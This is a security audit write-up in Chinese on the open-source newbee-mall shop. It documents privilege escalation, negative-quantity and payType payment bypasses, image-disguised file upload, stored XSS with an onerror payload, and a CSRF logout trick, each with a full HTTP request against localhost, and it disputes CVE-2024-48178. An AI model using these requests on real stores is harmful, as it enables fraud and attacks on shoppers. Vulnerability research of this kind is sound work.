newbee-mall是github上一个11.5k start的开源电商项目。 项目地址:https://github.com/newbee-ltd/newbee-mall 本文着重分析该项目的未修复漏洞以及对CVE-2024-48178的思考。

环境搭建

1.根据application.properties创建数据库newbee_mall_db,并导入newbee_mall_schema.sql文件。

2.自定义上传目录,将\src\main\resources下的upload.zip解压到上传目录下:

鉴权/路由分析

1.该项目通过拦截器的prehandle方法进行权限管理,一共设置了三个拦截器,分别是AdminLoginInterceptor、NewBeeMallCartNumberInterceptor以及NewBeeMallLoginInterceptor

这里的权限限制的很死,直接从session中取key,如果没登录的话session是空的,因此无法绕过。

具体拦截的路由在\src\main\java\ltd\newbee\mall\config\NeeBeeMallWebMvcConfigurer.java中:

public void addInterceptors(InterceptorRegistry registry) {
    // 添加一个拦截器,拦截以/admin为前缀的url路径(后台登陆拦截)
    registry.addInterceptor(adminLoginInterceptor)
            .addPathPatterns("/admin/**")
            .excludePathPatterns("/admin/login")
            .excludePathPatterns("/admin/dist/**")
            .excludePathPatterns("/admin/plugins/**");
    // 购物车中的数量统一处理
    registry.addInterceptor(newBeeMallCartNumberInterceptor)
            .excludePathPatterns("/admin/**")
            .excludePathPatterns("/register")
            .excludePathPatterns("/login")
            .excludePathPatterns("/logout");
    // 商城页面登陆拦截
    registry.addInterceptor(newBeeMallLoginInterceptor)
            .excludePathPatterns("/admin/**")
            .excludePathPatterns("/register")
            .excludePathPatterns("/login")
            .excludePathPatterns("/logout")
            .addPathPatterns("/goods/detail/**")
            .addPathPatterns("/shop-cart")
            .addPathPatterns("/shop-cart/**")
            .addPathPatterns("/saveOrder")
            .addPathPatterns("/orders")
            .addPathPatterns("/orders/**")            
            .addPathPatterns("/personal")
            .addPathPatterns("/personal/updateInfo")
            .addPathPatterns("/selectPayType")
            .addPathPatterns("/payPage");
}

可以看到,newBeeMallCartNumberInterceptor和newBeeMallLoginInterceptor都只放行了/admin下的目录以及/register、/login、/logout,也就是说不拦截注册、登录、登出以及管理员界面,而管理员界面是需要登录才能写入session的,因此没有安全问题。adminLoginInterceptor中放行了/admin/login、/admin/dist/**以及/admin/plugins/**:login对应登录界面;dist对应商城主页的图片的无图片路径,即/admin/dist/img/no-img.png;plugins对应前端需要的一些css和js样式。

历史漏洞之水平越权

1.在2022年2月之前的版本中,在ltd.newbee.mall.service.impl.NewBeeMallUserServiceImpl下的updateUserInfo函数中,是这么写的:

@Override
public NewBeeMallUserVO updateUserInfo(MallUser mallUser, HttpSession httpSession) {
    NewBeeMallUserVO userTemp = (NewBeeMallUserVO) httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
    MallUser userFromDB = mallUserMapper.selectByPrimaryKey(userTemp.getUserId());
    if (userFromDB != null) {
        if (StringUtils.hasText(mallUser.getNickName())) {
            userFromDB.setNickName(NewBeeMallUtils.cleanString(mallUser.getNickName()));
        }
        if (StringUtils.hasText(mallUser.getAddress())) {
            userFromDB.setAddress(NewBeeMallUtils.cleanString(mallUser.getAddress()));
        }
        if (StringUtils.hasText(mallUser.getIntroduceSign())) {
            userFromDB.setIntroduceSign(NewBeeMallUtils.cleanString(mallUser.getIntroduceSign()));
        }
        if (mallUserMapper.updateByPrimaryKeySelective(userFromDB) > 0) {
            NewBeeMallUserVO newBeeMallUserVO = new NewBeeMallUserVO();
            userFromDB = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());
            BeanUtil.copyProperties(userFromDB, newBeeMallUserVO);
            httpSession.setAttribute(Constants.MALL_USER_SESSION_KEY, newBeeMallUserVO);
            return newBeeMallUserVO;
        }
    }
    return null;
}

问题就出现在17行的userFromDB = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());这里根据传入的mallUser的Id进行修改,而mallUser的Id我们是可控的,可以跟代码看一下:

如图,我们可以通过传入mallUser这个类中的Id,来越权修改别人的信息。

2.那么作者是如何修复改漏洞的呢,很简单,就是直接把第17行删了。为什么可以这样呢?因为在前两行:

NewBeeMallUserVO userTemp = (NewBeeMallUserVO) httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
MallUser userFromDB = mallUserMapper.selectByPrimaryKey(userTemp.getUserId());

这里的userFromDB是根据登录用户的session来判断的,因此只能修改自己的信息。也就是说,其实作者之前写的那行代码不仅多余,而且还造成了越权漏洞。

支付漏洞

低价购

1.在\src\main\java\ltd\newbee\mall\controller\mall\ShoppingCartController.java中有如下代码:

@GetMapping("/shop-cart/settle")
public String settlePage(HttpServletRequest request,
                         HttpSession httpSession) {
    int priceTotal = 0;
    NewBeeMallUserVO user = (NewBeeMallUserVO) httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
    List<NewBeeMallShoppingCartItemVO> myShoppingCartItems = newBeeMallShoppingCartService.getMyShoppingCartItems(user.getUserId());
    if (CollectionUtils.isEmpty(myShoppingCartItems)) {
        //无数据则不跳转至结算页
        return "/shop-cart";
    } else {
        //总价
        for (NewBeeMallShoppingCartItemVO newBeeMallShoppingCartItemVO : myShoppingCartItems) {
            priceTotal += newBeeMallShoppingCartItemVO.getGoodsCount() * newBeeMallShoppingCartItemVO.getSellingPrice();
        }
        if (priceTotal < 1) {
            NewBeeMallException.fail("购物项价格异常");
        }
    }
    request.setAttribute("priceTotal", priceTotal);
    request.setAttribute("myShoppingCartItems", myShoppingCartItems);
    return "mall/order-settle";
}

漏洞出现在如下代码中:

这里作者值判断了priceTotal,即总的价格大于1,并未判断是否每件价格都大于1,并且未规定购买数量不能为负数,因此我们可以购买一些负数的低价商品,再购买一件高价商品,实现低价购买,如图为加入购物车的数据包:

POST /shop-cart HTTP/1.1
Host: 127.0.0.1:28089
Content-Length: 33
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Origin: http://127.0.0.1:28089
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:28089/goods/detail/10195
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=5E4F79C3A28A36AADEDEB26CAB069CF4
Connection: keep-alive

{"goodsId":10195,"goodsCount":-4}

订单提交成功:

零元购

1.漏洞代码的路由在src\main\java\ltd\newbee\mall\controller\mall\OrderController.java中:

跟进一下paySuccess方法:

这里是说newBeeMallOrderMapper.updateByPrimaryKeySelective(newBeeMallOrder)的值大于0就可以判定为支付成功,但问题i就是,payType是我们传入的参数,是可控的呀,我们直接修改payType的值就可以让newBeeMallOrderMapper的值修改,导致if语句判断成功,实现0元购。

如图,成功支付。

后台任意文件上传

1.上传代码在src\main\java\ltd\newbee\mall\controller\common\UploadController.java中:

@Controller
@RequestMapping("/admin")
public class UploadController {

    @Autowired
    private StandardServletMultipartResolver standardServletMultipartResolver;

    @PostMapping({"/upload/file"})
    @ResponseBody
    public Result upload(HttpServletRequest httpServletRequest, @RequestParam("file") MultipartFile file) throws URISyntaxException, IOException {
        String fileName = file.getOriginalFilename();
        BufferedImage bufferedImage = ImageIO.read(file.getInputStream());
        if (bufferedImage == null) {
            return ResultGenerator.genFailResult("请上传图片类型的文件");
        }
        String suffixName = fileName.substring(fileName.lastIndexOf("."));
        //生成文件名称通用方法
        SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd_HHmmss");
        Random r = new Random();
        StringBuilder tempName = new StringBuilder();
        tempName.append(sdf.format(new Date())).append(r.nextInt(100)).append(suffixName);
        String newFileName = tempName.toString();
        File fileDirectory = new File(Constants.FILE_UPLOAD_DIC);
        //创建文件
        File destFile = new File(Constants.FILE_UPLOAD_DIC + newFileName);
        try {
            if (!fileDirectory.exists()) {
                if (!fileDirectory.mkdir()) {
                    throw new IOException("文件夹创建失败,路径为:" + fileDirectory);
                }
            }
            file.transferTo(destFile);
            Result resultSuccess = ResultGenerator.genSuccessResult();
            resultSuccess.setData(NewBeeMallUtils.getHost(new URI(httpServletRequest.getRequestURL() + "")) + "/upload/" + newFileName);
            return resultSuccess;
        } catch (IOException e) {
            e.printStackTrace();
            return ResultGenerator.genFailResult("文件上传失败");
        }
    }

    @PostMapping({"/upload/files"})
    @ResponseBody
    public Result uploadV2(HttpServletRequest httpServletRequest) throws URISyntaxException, IOException {
        List<MultipartFile> multipartFiles = new ArrayList<>(8);
        if (standardServletMultipartResolver.isMultipart(httpServletRequest)) {
            MultipartHttpServletRequest multiRequest = (MultipartHttpServletRequest) httpServletRequest;
            Iterator<String> iter = multiRequest.getFileNames();
            int total = 0;
            while (iter.hasNext()) {
                if (total > 5) {
                    return ResultGenerator.genFailResult("最多上传5张图片");
                }
                total += 1;
                MultipartFile file = multiRequest.getFile(iter.next());
                BufferedImage bufferedImage = ImageIO.read(file.getInputStream());
                // 只处理图片类型的文件
                if (bufferedImage != null) {
                    multipartFiles.add(file);
                }
            }
        }
        if (CollectionUtils.isEmpty(multipartFiles)) {
            return ResultGenerator.genFailResult("请选择图片类型的文件上传");
        }
        if (multipartFiles != null && multipartFiles.size() > 5) {
            return ResultGenerator.genFailResult("最多上传5张图片");
        }
        List<String> fileNames = new ArrayList(multipartFiles.size());
        for (int i = 0; i < multipartFiles.size(); i++) {
            String fileName = multipartFiles.get(i).getOriginalFilename();
            String suffixName = fileName.substring(fileName.lastIndexOf("."));
            //生成文件名称通用方法
            SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd_HHmmss");
            Random r = new Random();
            StringBuilder tempName = new StringBuilder();
            tempName.append(sdf.format(new Date())).append(r.nextInt(100)).append(suffixName);
            String newFileName = tempName.toString();
            File fileDirectory = new File(Constants.FILE_UPLOAD_DIC);
            //创建文件
            File destFile = new File(Constants.FILE_UPLOAD_DIC + newFileName);
            try {
                if (!fileDirectory.exists()) {
                    if (!fileDirectory.mkdir()) {
                        throw new IOException("文件夹创建失败,路径为:" + fileDirectory);
                    }
                }
                multipartFiles.get(i).transferTo(destFile);
                fileNames.add(NewBeeMallUtils.getHost(new URI(httpServletRequest.getRequestURL() + "")) + "/upload/" + newFileName);
            } catch (IOException e) {
                e.printStackTrace();
                return ResultGenerator.genFailResult("文件上传失败");
            }
        }
        Result resultSuccess = ResultGenerator.genSuccessResult();
        resultSuccess.setData(fileNames);
        return resultSuccess;
    }

}

可以看到,作者通过ImageIO.read来判断传入的是否为图片,但是作者没有考虑到,我们可以先传入图片,再在图片的尾部添加恶意代码,也就是所谓的“图片马”。

2.我们先找到一处文件上传点,如图:

数据包如下:(图片内容用xxx代替)

POST /admin/upload/file HTTP/1.1
Host: localhost:28089
Content-Length: 13342
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Origin: http://localhost:28089
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRII4LixNAimwdMeH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: http://localhost:28089/admin/goods/edit
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0779CECA6C110A0E83FB037F5AB3B99A
Connection: keep-alive

------WebKitFormBoundaryRII4LixNAimwdMeH
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

xxx
------WebKitFormBoundaryRII4LixNAimwdMeH--

由于没有限定后缀,因此我们可以将后缀改为html,并在图片后面添加恶意xss代码,如图:

此时我们访问http://localhost:28089/upload/20260121_12263825.html 可成功弹窗:

3.当然,这里也是可以传恶意jsp文件的,但是由于上传目录不在web目录下,无法解析jsp,只能下载。但是如果开发者将上传目录放在了web目录下,那么此处是可以上传恶意jsp文件getshell的。

后台编辑器xss

1.在文件上传下方的编辑器中,可以添加恶意xss代码:

数据包如下:

POST /admin/goods/save HTTP/1.1
Host: localhost:28089
Content-Length: 347
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Origin: http://localhost:28089
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:28089/admin/goods/edit
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0779CECA6C110A0E83FB037F5AB3B99A
Connection: keep-alive

{"goodsName":"test5","goodsIntro":"test5","goodsCategoryId":"20","tag":"test5","originalPrice":"1","sellingPrice":"1","stockNum":"0","goodsDetailContent":"<img src=0 onerror=alert(1)>","goodsCoverImg":"http://localhost:28089/upload/20260121_10332851.jpg","goodsCarousel":"http://localhost:28089/upload/20260121_10332851.jpg","goodsSellStatus":"0"}

当用户在点入test5商品时,就会触发xss:

CVE-2024-48178

1.该cve的发现者将分析写在了github上:https://github.com/dabaizhizhu/123/issues/10 但是我分析过后,发现该cve并不存在,即不存在ssrf漏洞。

如图,按照cve发现者的意思,我们将img改为dnslog地址,并上架商品,我们登录普通用户进行访问。触发的dnslog如下:

很明显这里并不是服务端发起的请求,而是用户通过浏览器发出的请求,因此肯定不是ssrf漏洞。我们通过调试也能发现:

我们在src\main\java\ltd\newbee\mall\controller\mall\GoodsController.java打一个断点进行调试。

当调试到如图,也就是spring内部发出的一条请求后,触发了dnslog:

也就是说,spring发送给浏览器渲染,然后浏览器访问了这个url,触发了dnslog:

但是话又说回来,这个地方不存在ssrf,但是用户能请求到,是否也是有问题的呢?答案是肯定的。我们可以结合网站的csrf漏洞,进行结合利用。经过测试发现,代码中没有对csrf的防护,且http://localhost:28089/logout这个退出url是存在csrf漏洞的,因此我们可以将商品的url改成http://localhost:28089/logout:

此时,只要别人访问了我们的商品,就会自动退出。

总结

实践出真知,不能一昧的相信网上的文章(甚至连cve都有可能是错的),自己调试分析才是硬道理。